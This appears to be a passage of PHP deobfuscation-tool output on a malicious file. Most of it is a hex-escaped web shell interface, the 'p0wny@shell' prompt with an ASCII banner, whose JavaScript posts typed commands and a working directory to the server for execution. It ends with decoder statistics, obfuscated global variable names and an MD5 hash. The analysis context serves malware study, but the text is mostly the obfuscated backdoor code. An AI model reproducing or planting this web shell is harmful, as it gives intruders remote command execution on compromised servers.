\x20\x20\x20\x20\x20\x20\x20\x20 \x66l\x65\x78-\x67\x72ow: \x30;\n  \x20\x20 \x20\x20\x20  \x20 \x20 \x20\x20d\x69sp\x6ca\x79: blo\x63k;\n\x20\x20  \x20\x20   \x20\x20\x20  \x20\x20p\x61\x64d\x69n\x67:\x20\x30\x20\x35p\x78;\n\x20 \x20\x20\x20\x20 \x20     \x20\x20 h\x65igh\x74: 3\x30px;\n      \x20\x20\x20  \x20\x20 \x20 li\x6e\x65-\x68eight: 3\x30\x70\x78\x3b\n\x20 \x20\x20\x20 \x20 \x20  \x20}\n\x20 \x20\x20\x20 \x20  \x20  \x23s\x68\x65ll-inp\x75t > inpu\x74\x20{\n\x20\x20\x20\x20\x20 \x20\x20  \x20 \x20  \x20\x66le\x78-\x67\x72\x6f\x77:\x20\x31\x3b\n \x20       \x20  \x20\x20\x20 \x68\x65ig\x68\x74:\x2030px;\n  \x20  \x20 \x20\x20   \x20 \x20 lin\x65-\x68\x65i\x67\x68t: \x33\x30p\x78\x3b\n\x20\x20\x20    \x20\x20\x20 \x20 \x20\x20 \x70\x61\x64\x64in\x67:\x20\x30\x205p\x78;\n\x20  \x20\x20  \x20\x20   \x20 \x20 b\x6f\x72d\x65r: n\x6f\x6ee\x3b\n \x20 \x20    \x20\x20\x20   \x20\x20\x62\x61c\x6bgro\x75nd:\x20t\x72ans\x70a\x72\x65\x6et\x3b\n\x20\x20  \x20 \x20\x20  \x20 \x20\x20\x20 c\x6flor:\x20#\x65e\x65\x3b\n\x20\x20  \x20 \x20   \x20 \x20\x20\x20 f\x6fnt-f\x61m\x69\x6c\x79: m\x6fno\x73pa\x63\x65;\n \x20   \x20\x20 \x20  \x20 \x20  f\x6f\x6et-si\x7a\x65: 1\x30p\x74;\n  \x20\x20\x20\x20\x20 \x20 \x20 }\n\x20 \x20\x20\x20\x20\x20 </st\x79le\x3e\n\n    \x20 \x20 \x3cs\x63ri\x70t sr\x63\x3d\x22h\x74\x74\x70\x73://c\x6fde\x2ej\x71\x75\x65\x72\x79\x2ec\x6f\x6d/\x6aque\x72\x79-\x33.1.\x31\x2e\x6d\x69\x6e.\x6a\x73\x22 \x69\x6eteg\x72i\x74y\x3d\"s\x68a2\x35\x36-hVVnY\x61iAD\x52T\x4f2\x50\x7aUGm\x75\x4cJr\x38\x42L\x55S\x6aG\x49ZsDYGmIJ\x4cv\x32\x628\x3d\" \x63\x72o\x73\x73\x6f\x72\x69\x67i\x6e\x3d\x22\x61no\x6ey\x6do\x75s\x22>\x3c/\x73\x63\x72i\x70t\x3e\n\n\x20\x20  \x20\x20 \x20\x3c\x73\x63rip\x74>\n \x20 \x20\x20   \x20   v\x61r\x20\x43W\x44\x20\x3d\x20\x6e\x75\x6c\x6c\x3b\n\x20\x20\x20\x20\x20\x20 \x20  \x20 f\x75n\x63t\x69o\x6e \x66\x65atu\x72e\x53hell(\x63omma\x6ed) {\n  \x20 \x20  \x20\x20 \x20 \x20\x20  va\x72\x20\x65Shell\x43\x6fnte\x6e\x74\x20= \x64\x6fcum\x65n\x74.ge\x74\x45\x6ce\x6d\x65\x6e\x74B\x79\x49\x64(\x22\x73h\x65ll-\x63onte\x6e\x74\x22);\n\x20  \x20\x20\x20\x20  \x20\x20\x20 \x20\x20\x20f\x75\x6ect\x69o\x6e\x20\x5f\x69\x6e\x73\x65\x72t\x43om\x6dand(\x63om\x6da\x6ed) {\n  \x20\x20 \x20\x20 \x20\x20   \x20\x20\x20\x20\x20\x20 \x65S\x68e\x6c\x6c\x43\x6fn\x74e\x6e\x74.\x69\x6e\x6eer\x48T\x4d\x4c\x20+\x3d \x22\\\x6e\\\x6e\";\n\x20 \x20 \x20    \x20  \x20   \x20   \x65\x53h\x65\x6clCo\x6e\x74e\x6e\x74.innerH\x54\x4d\x4c +\x3d\x20`<spa\x6e c\x6c\x61ss\x3d\\\x22s\x68\x65\x6c\x6c-promp\x74\x5c\">\${\x67\x65\x6e\x50r\x6fmpt(\x43WD)}</sp\x61\x6e>\x20`;\n    \x20\x20\x20   \x20\x20\x20\x20\x20  \x20\x20 \x65\x53\x68e\x6clCont\x65nt\x2ei\x6enerH\x54ML +=\x20\x65s\x63a\x70\x65H\x74m\x6c(c\x6f\x6dma\x6e\x64)\x3b\n\x20\x20\x20\x20\x20 \x20   \x20  \x20 \x20  \x20\x20e\x53h\x65ll\x43o\x6e\x74en\x74.i\x6en\x65\x72\x48TML\x20+=\x20\x22\\\x6e\x22;\n \x20\x20  \x20\x20\x20\x20 \x20 \x20  \x20 \x20\x20 \x65S\x68e\x6clCont\x65n\x74\x2es\x63\x72\x6f\x6cl\x54o\x70 \x3d\x20e\x53\x68e\x6cl\x43o\x6e\x74\x65\x6et\x2e\x73crol\x6c\x48e\x69ght;\n\x20\x20   \x20\x20  \x20   \x20\x20\x20}\n \x20 \x20 \x20\x20\x20\x20\x20    \x20\x20\x66unc\x74io\x6e _in\x73ertStdo\x75\x74(\x73t\x64ou\x74)\x20{\n \x20  \x20\x20   \x20  \x20\x20 \x20\x20\x20\x20 \x65Sh\x65\x6c\x6cCon\x74\x65n\x74.inne\x72\x48TM\x4c +=\x20\x65\x73\x63ap\x65H\x74m\x6c(\x73tdout);\n \x20  \x20 \x20  \x20\x20\x20\x20\x20 \x20  \x20 \x65\x53\x68e\x6clCon\x74\x65\x6e\x74\x2es\x63ro\x6cl\x54op =\x20\x65ShellC\x6fn\x74e\x6et.\x73\x63roll\x48\x65ig\x68\x74;\n\x20 \x20     \x20\x20\x20 \x20 \x20\x20}\n\x20 \x20  \x20\x20 \x20   \x20\x20\x20\x20\x5f\x69\x6e\x73\x65\x72\x74\x43\x6f\x6dm\x61\x6ed(c\x6f\x6dman\x64);\n\x20  \x20  \x20\x20 \x20  \x20\x20\x20\x20\x72e\x74urn\x20\$\x2ep\x6f\x73t(\x22?fea\x74u\x72\x65=\x73\x68\x65l\x6c\",\x20{cm\x64: c\x6f\x6dmand,\x20c\x77\x64: \x43\x57D}, \"\x6a\x73o\x6e\")\n\x20 \x20  \x20\x20\x20\x20\x20 \x20 \x20  \x20   \x2et\x68e\x6e(re\x73ponse\x20=\x3e \x5f\x69\x6e\x73\x65r\x74\x53td\x6f\x75t(r\x65s\x70ons\x65\x2e\x73\x74dou\x74\x2ejo\x69\x6e(\"\x5cn\"))\x20|| r\x65\x73\x70\x6fnse)\n\x20 \x20\x20\x20\x20  \x20\x20\x20\x20  \x20\x20\x20 \x20\x20.\x74\x68\x65n(r\x65sp\x6fnse \x3d>\x20u\x70\x64a\x74\x65\x43w\x64(\x72e\x73\x70\x6fn\x73\x65.\x63wd) ||\x20\x72es\x70\x6fn\x73e)\n\x20  \x20\x20  \x20\x20    \x20\x20\x20\x20\x20\x20\x20\x2ef\x61\x69l(\x65rr\x6f\x72 \x3d>\x20\x5f\x69\x6e\x73\x65\x72t\x53\x74\x64o\x75\x74(\"A\x4a\x41X \x45\x52R\x4f\x52:\x20\"\x20+\x20J\x53\x4fN\x2e\x73t\x72i\x6e\x67\x69\x66y(\x65rror)));\n \x20\x20\x20\x20\x20 \x20\x20\x20\x20\x20}\n     \x20\x20\x20\x20 \x20 \x66\x75n\x63tio\x6e ge\x6ePr\x6f\x6d\x70t(c\x77d)\x20{\n\x20    \x20\x20\x20\x20   \x20\x20 \x20c\x77d =\x20\x63\x77\x64 ||\x20\x22\x7e\x22\x3b\n \x20    \x20  \x20 \x20   \x20v\x61\x72\x20\x73\x68o\x72\x74\x43w\x64 =\x20cwd\x3b\n\x20\x20   \x20\x20\x20\x20\x20  \x20\x20 \x20i\x66\x20(c\x77\x64\x2es\x70\x6c\x69t(\"/\x22)\x2el\x65\x6egth\x20> 3)\x20{\n\x20\x20  \x20\x20  \x20 \x20 \x20  \x20    va\x72\x20\x73p\x6cittedCw\x64\x20=\x20\x63wd\x2es\x70\x6c\x69t(\"/\x22);\n\x20\x20\x20  \x20\x20 \x20\x20 \x20  \x20\x20 \x20\x20 s\x68\x6f\x72tC\x77d\x20=\x20`/\${\x73p\x6cit\x74\x65dCw\x64[sp\x6citt\x65d\x43w\x64\x2e\x6c\x65\x6egth-\x32]}/\${\x73\x70\x6c\x69tted\x43wd[sp\x6c\x69\x74t\x65d\x43\x77d.\x6c\x65\x6egth-\x31]}`;\n\x20  \x20\x20 \x20\x20\x20\x20\x20 \x20   }\n  \x20\x20\x20  \x20 \x20\x20  \x20 \x20retur\x6e\x20`\x700w\x6e\x79\x40sh\x65\x6cl:\x3c\x73\x70\x61\x6e\x20\x74itl\x65=\"\${c\x77\x64}\"\x3e\${s\x68\x6fr\x74\x43\x77d}</\x73\x70a\x6e\x3e\x23\x60\n  \x20\x20\x20 \x20\x20 \x20  }\n\x20\x20  \x20      \x20\x66\x75\x6ect\x69on\x20\x75\x70d\x61teC\x77d(\x63\x77d)\x20{\n \x20 \x20 \x20\x20\x20\x20 \x20 \x20\x20  i\x66 (c\x77\x64)\x20{\n\x20     \x20\x20  \x20\x20  \x20\x20\x20 \x20\x20C\x57\x44\x20=\x20\x63wd\x3b\n         \x20 \x20\x20 \x20\x20 \x20 \x20_u\x70\x64\x61\x74ePrompt()\x3b\n\x20 \x20\x20\x20 \x20\x20\x20\x20\x20\x20 \x20\x20\x20\x20 \x20\x20re\x74\x75\x72\x6e\x3b\n    \x20\x20   \x20\x20  \x20 \x20}\n\x20 \x20\x20\x20   \x20\x20\x20\x20\x20\x20 \x20re\x74\x75\x72n \$.po\x73t(\x22?f\x65a\x74\x75\x72\x65=p\x77d\x22, {}, \x22js\x6fn\")\n    \x20      \x20\x20   \x20  \x20.\x74hen(r\x65\x73pons\x65\x20=>\x20\x43\x57\x44 =\x20(\x72espo\x6e\x73e.\x63wd) || r\x65\x73\x70\x6fnse)\n\x20\x20  \x20 \x20\x20 \x20\x20 \x20 \x20\x20 \x20\x20 .\x74he\x6e(r\x65s\x70onse \x3d\x3e\x20\x5f\x75p\x64\x61\x74ePr\x6f\x6dp\x74()\x20|| \x72\x65\x73p\x6f\x6e\x73e)\n   \x20\x20   \x20 \x20\x20 \x20 \x20\x20\x20  \x2efai\x6c(e\x72\x72o\x72 \x3d\x3e\x20con\x73o\x6c\x65.\x65\x72\x72o\x72(\x65\x72\x72\x6fr));\n \x20 \x20\x20  \x20\x20\x20 \x20}\n \x20 \x20\x20 \x20   \x20\x20\x66un\x63tio\x6e\x20es\x63\x61\x70\x65\x48tm\x6c(string) {\n  \x20   \x20\x20\x20\x20  \x20   r\x65tu\x72n s\x74ring\n \x20   \x20\x20\x20 \x20\x20   \x20\x20\x20\x20  .r\x65\x70\x6ca\x63e(/\x26/g, \"&a\x6dp\x3b\x22)\n  \x20    \x20\x20\x20\x20\x20\x20\x20  \x20\x20\x20\x20.r\x65\x70\x6c\x61c\x65(/</\x67,\x20\"\x26\x6ct;\")\n     \x20\x20\x20 \x20    \x20 \x20   .\x72ep\x6c\x61\x63\x65(/\x3e/g, \x22\x26\x67\x74\x3b\");\n\x20 \x20\x20\x20\x20   \x20 \x20}\n\x20\x20 \x20\x20\x20\x20    \x20fun\x63\x74ion \x5fup\x64\x61\x74e\x50ro\x6dpt()\x20{\n   \x20     \x20\x20  \x20  \x76\x61\x72 \x65ShellP\x72o\x6dpt \x3d\x20do\x63\x75m\x65n\x74.\x67\x65\x74E\x6ce\x6dentB\x79Id(\x22s\x68\x65\x6c\x6c-\x70\x72ompt\x22);\n   \x20   \x20  \x20    \x20eSh\x65\x6clPr\x6f\x6d\x70t.\x69n\x6e\x65rHTM\x4c =\x20ge\x6eP\x72o\x6d\x70t(C\x57\x44);\n\x20\x20  \x20\x20  \x20\x20\x20\x20}\n\x20\x20   \x20 \x20 \x20\x20\x20fun\x63\x74i\x6fn \x5f\x6fnS\x68\x65\x6c\x6cC\x6d\x64\x4b\x65yDo\x77\x6e(\x65ve\x6e\x74) {\n\x20\x20 \x20       \x20\x20  \x20var\x20e\x53he\x6c\x6cC\x6ddIn\x70u\x74 = \x64\x6fcumen\x74.\x67\x65t\x45\x6c\x65\x6de\x6et\x42\x79Id(\"shell-c\x6d\x64\x22);\n \x20    \x20\x20 \x20\x20  \x20\x20 \x69f (e\x76\x65\x6et.\x6b\x65y =\x3d\x20\"E\x6e\x74\x65r\") {\n   \x20  \x20 \x20\x20   \x20\x20\x20\x20\x20  \x66e\x61t\x75\x72\x65\x53\x68ell(e\x53hel\x6c\x43\x6dd\x49np\x75\x74.va\x6cu\x65)\x3b\n \x20 \x20     \x20\x20\x20  \x20 \x20\x20  \x65Sh\x65\x6cl\x43\x6d\x64In\x70\x75\x74.val\x75\x65\x20= \"\"\x3b\n\x20 \x20     \x20\x20\x20\x20  \x20\x20}\n  \x20\x20    \x20\x20 \x20}\n\x20\x20\x20 \x20  \x20    \x77\x69\x6ed\x6f\x77\x2eo\x6e\x6co\x61\x64\x20= \x66u\x6e\x63tio\x6e()\x20{\n\x20\x20\x20\x20 \x20\x20 \x20\x20\x20 \x20\x20\x20 \x75\x70d\x61t\x65C\x77\x64();\n\x20\x20\x20    \x20\x20\x20  };\n\x20       </s\x63\x72i\x70t>\n    \x3c/\x68\x65\x61d>\n\n\x20\x20 \x20<\x62\x6f\x64\x79\x3e\n  \x20\x20\x20\x20\x20\x20\x3cdiv i\x64=\"s\x68\x65\x6cl\x22\x3e\n  \x20     \x20   <pre i\x64\x3d\"\x73hell-\x63on\x74\x65nt\x22>\n  \x20\x20\x20 \x20\x20\x20 \x20 \x20 \x20 <\x64i\x76 \x69\x64\x3d\x22\x73\x68\x65ll-\x6c\x6fgo\"\x3e\n\x20\x20\x20\x20\x20\x20 \x20\x5f\x5f\x5f  \x20\x20 \x20 \x20\x20\x20\x20   \x20\x20\x20\x20 \x20\x20\x20\x20  ___\x5f  \x20\x20 \x20_   \x20  \x20   \x5f\x20_ \x20 \x20\x20  \x20_ \x20_\x20 \x20<s\x70an\x3e</\x73\x70a\x6e>\n _\x20_\x5f\x20\x20/\x20\x5f\x20\\_\x5f \x20  \x20 _\x5f\x5f \x5f_  _ \x20 \x5f\x20 /\x20_\x5f \x5c\x20\x5f__| |__ \x20\x20\x5f__|\x20| |_ /\x5c/|| || |\x5f\x20\x3c\x73pa\x6e\x3e\x3c/\x73p\x61\x6e\x3e\n| \x27\x5f \\| |\x20|\x20\x5c\x20\\\x20/\\ /\x20/\x20'\x5f \\|\x20|\x20|\x20|/ /\x20\x5f` / \x5f_|\x20'_ \x5c / \x5f\x20\x5c | (_)/\x5c/_\x20 .\x2e\x20 _|<s\x70\x61\x6e>\x3c/\x73\x70a\x6e>\n|\x20|\x5f)\x20| |\x5f|\x20|\x5c V \x20\x56\x20/|\x20|\x20|\x20| |_| |\x20|\x20(\x5f|\x20\\_\x5f \x5c\x20| |\x20|  \x5f\x5f/ | |_\x20\x20\x20|_\x20\x20\x20 \x20 \x5f|\x3cspan>\x3c/s\x70\x61n\x3e\n|\x20\x2e__/ \\__\x5f/\x20\x20\x5c\x5f/\x5c_/\x20|_| |_|\\_\x5f, |\x5c \x5c\x5f\x5f,_|___/_|\x20|\x5f|\\___|\x5f|\x5f(_) \x20\x20 |_||_|\x20 <\x73p\x61n></\x73\x70\x61n\x3e\n|\x5f|  \x20 \x20 \x20\x20\x20 \x20\x20 \x20 \x20 \x20\x20\x20\x20\x20\x20\x20 |_\x5f_/  \\___\x5f/  \x20\x20 \x20\x20   \x20     \x20\x20\x20\x20 \x20  \x20\x20  \x20\x20\x20 \x20 <s\x70\x61n></\x73pan>\n\x20   \x20  \x20\x20  \x20\x20\x20\x20 \x3c/\x64iv\x3e\n    \x20 \x20\x20\x20\x20  </pre\x3e\n\x20\x20\x20 \x20 \x20 \x20\x20\x20 <\x64i\x76 \x69d\x3d\"s\x68ell-\x69\x6e\x70u\x74\x22>\n \x20 \x20        \x20   <\x6ca\x62el\x20f\x6fr=\x22\x73he\x6c\x6c-\x63md\x22\x20i\x64\x3d\x22s\x68el\x6c-\x70r\x6f\x6dp\x74\" cl\x61ss=\x22\x73\x68\x65ll-\x70ro\x6d\x70t\x22\x3e???\x3c/lab\x65l\x3e\n    \x20\x20\x20\x20\x20\x20\x20\x20\x20 \x20\x20<\x69np\x75t\x20i\x64\x3d\"\x73h\x65l\x6c-cmd\"\x20n\x61m\x65\x3d\"cmd\"\x20o\x6ek\x65\x79d\x6fw\x6e\x3d\x22_o\x6eSh\x65ll\x43\x6dd\x4b\x65y\x44o\x77n(even\x74)\x22/\x3e\n \x20\x20 \x20\x20   \x20 \x20\x3c/di\x76>\n   \x20\x20\x20  </\x64\x69\x76>\n\x20\x20 \x20\x3c/\x62\x6fd\x79>\n\n</\x68tml>\n\n"; ?>

Function Calls

GetIP	1
getenv	1
base64_decode	1

Variables

GLOBALS

[{'key': 'hwoepgt', 'value': 'header'}, {'key': 'pbkgpkm', 'value': 'y'}, {'key': 'uyipaclgrf', 'value': 'yol'}, {'key': 'bhacpvaks', 'value': 'datasi'}, {'key': 'ybnzpong', 'value': 'datas'}, {'key': 'crwnpb', 'value': 'i'}, {'key': 'ojclhyxyupu', 'value': 'ver'}, {'key': 'ueftpteoe', 'value': 'datasi'}, {'key': 'hniibhefr', 'value': 'response'}, {'key': 'weyhywf', 'value': 'match'}, {'key': 'imlcdsjgdze', 'value': 'cmd'}, {'key': 'rerxlcm', 'value': 'gitt'}, {'key': 'tgswxehp', 'value': 'ch'}, {'key': 'qexocucphng', 'value': 'x'}, {'key': 'kprlhtcpkpb', 'value': 'tmp'}, {'key': 'gqngqidxkut', 'value': 'ip'}, {'key': 'lxuutlkqe', 'value': 'ip'}]

Stats

MD5	ffaab382bb87d4c81d445a2373d3123a
Eval Count	0
Decode Time	138 ms